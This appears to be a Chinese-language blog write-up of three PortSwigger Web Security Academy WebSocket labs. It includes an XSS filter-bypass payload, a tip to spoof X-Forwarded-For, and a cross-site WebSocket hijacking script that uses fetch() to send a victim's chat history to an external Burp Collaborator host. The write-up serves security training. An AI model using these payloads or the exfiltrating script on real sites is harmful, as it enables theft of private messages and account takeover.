Portswigger web security academy:WebSockets

Lab: Manipulating WebSocket messages to exploit vulnerabilities

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 你提交的聊天消息会被辅助客户端实时查看
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题步骤
    • 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
    • 在WebSockets history中把发送信息的请求包发送到Repeater
    • 把消息内容修改为xss payload

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 它有一个主动但是存在缺陷的XSS过滤器
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题过程
    • 测一下过滤了些啥:(连接失败后,利用X-Forwarded-For伪造IP重置连接即可)

      • 过滤了n多标签,iframe可用
      • 过滤了()
      • 过滤了onxxxx事件
      • 过滤了javascript
    • 最后的payload和solution一样 <iframe src='JavAsCript:alert`1`'>

Lab: Cross-site WebSocket hijacking

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
  • 要求

    • 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
  • 解题过程

    • websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据

    • 脚本参考solution,没有考虑到onopen事件的处理

    • <script>
      websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
      websocket.onopen = function start(event) {
      websocket.send("READY");
      }
      websocket.onmessage = function handleReply(event) {
      fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
      } </script>

Portswigger web security academy:WebSockets的更多相关文章

  1. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  2. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  3. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  4. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. python基础学习之函数基础和部分内置函数

    在函数调用的时候,必备参数必须要传入 函数定义: def  函数名: 代码块pass return  返回值 函数名命名规则: 字母.数字和下划线组成,和变量命名规则一致 pass在这里表示什么都没有 ...

  2. ajax传数组后台GO语言接收

    js代码如下: function PostHandle(url,data,callback) { $.ajax({ type: "Post", url:url, data:data ...

  3. python网络编程--TCP客户端的开发

    #导入socket模块 2 import socket 3 #参数说明 4 """ 5 socket类的介绍 6 创建客户端socket对象 7 socket.socke ...

  4. Hznu_0j 1557

    题目链接:http://acm.hznu.edu.cn/OJ/problem.php?id=1557 题解:将两个数组分别升序和降序排序后,累加差的绝对值. Ac代码: #include<std ...

  5. python3 中is和==的区别

    is    身份运算符,用来判断对象是否属于同一地址 (python内置函数id() 可以返回对象地址) ==  比较运算符,用于判断值是否相同

  6. 走进docker-swarm 带大家快速掌握docker自带编排工具

    什么是Docker Swarm? 对比Docker 前面我们介绍过Docker可以理解成是一个我们的服务的独立运行的容器,那么在实际工作中,我们的系统可能是一个微服务应用,系统中根据业务拆分成多个模块 ...

  7. 前端 | 使用 ECharts 绘制关系图

    0 需求 做的项目需要画一个关系图,主要需求如下: 需要展示6种对象之间的关系:数据机构 数据 合约 模型 计算机构 应用 支持突出显示6种对象中的某一种的所有对象 支持Top x子图功能.top x ...

  8. 记一次metasploitable2内网渗透之1524端口

    0x01.漏洞 许多攻击脚本将安装一个后门SHELL于这个端口,尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本.如果刚安装了防火墙就看到在这个端口上的连接企图,很可能是上述原因.可以试试 ...

  9. 比较运算规则 == 、 ===、Object.is 和 ToPrimitive 方法 [[DefaultValue]] (hint)

    1.== 相等运算符 如果 x 与 y 类型一致时规则如下: 1. 如果 x 类型为 Undefined,返回 true. 2. 如果 x 类型为 Null,返回 true. 3. 如果 x 类型为 ...

  10. Leedcode算法专题训练(哈希表)

    Java 中的 HashSet 用于存储一个集合,可以查找元素是否在集合中.如果元素有穷,并且范围不大,那么可以用一个布尔数组来存储一个元素是否存在.例如对于只有小写字符的元素,就可以用一个长度为 2 ...